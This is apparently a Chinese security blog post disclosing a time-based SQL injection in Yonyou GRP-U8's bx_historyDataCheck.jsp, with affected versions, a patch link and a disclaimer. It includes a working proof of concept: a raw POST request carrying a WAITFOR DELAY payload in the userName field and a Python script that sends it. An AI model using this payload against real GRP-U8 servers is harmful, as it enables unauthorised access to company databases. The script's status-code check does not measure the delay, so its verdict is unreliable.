声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
一、产品介绍
成长型企业平台,以全新URP为平台,应对中型及成长型企业客户群的发展,用友U8为成长型企业提供了互联网应用模式,包括营销服务一体化、完整闭环O2O、供应链协同、设计制造一体化、精益生产、精细管控、人力资源、办公协同、移动应用、大数据分析、社交化协同和云服务,覆盖了企业的全业务。
二、漏洞描述
在用友GRP-U8的bx_historyDataCheck jsp 存在SQL注入漏洞,由于用友GRP-U8未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。本次漏洞主要是对查询语句后拼接的入参注入特定变量值,非法获取数据或对数据库服务器产生影响,存在一定的安全隐患。
三、影响版本
用友GRP-U8R10 U8Manager B、C、G 系列产品 < 20230905
四、漏洞复现
1.访问漏洞环境
2.POC (POST)
POST请求,延时注入
POST /u8qx/bx_historyDataCheck.jsp HTTP/1.1
Host: xxxxxxxxxxxx
User-Agent: Go-http-client/1.1
Content-Length: 84
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=5FF34252A52D49B94A560C18AB894656
Accept-Encoding: gzip
userName=';WAITFOR DELAY '0:0:6'--&class.module.classLoader.DefaultAssertionStatus=
执行poc
用python编写一个poc
import re
import requests
url = 'http://替换部分/u8qx/bx_historyDataCheck.jsp'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '59',
'Connection': 'close'
}
data = {
"userName":"1';WAITFOR%20DELAY%20'0:0:6'--+&ysnd=&historyFlag="
}
response = requests.post(url, headers=headers, data=data)
print('Status Code:', response.status_code)
if response.status_code ==200:
print('存在用友GRP-U8 SQL注入漏洞,请尽快修复漏洞!!!')
else:
print('漏洞不存在。')
运行结果如图
五、修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://security.yonyou.com/#/patchInfo?foreignKey=77e7e13f32754da9a5be93a9bfbb3f4c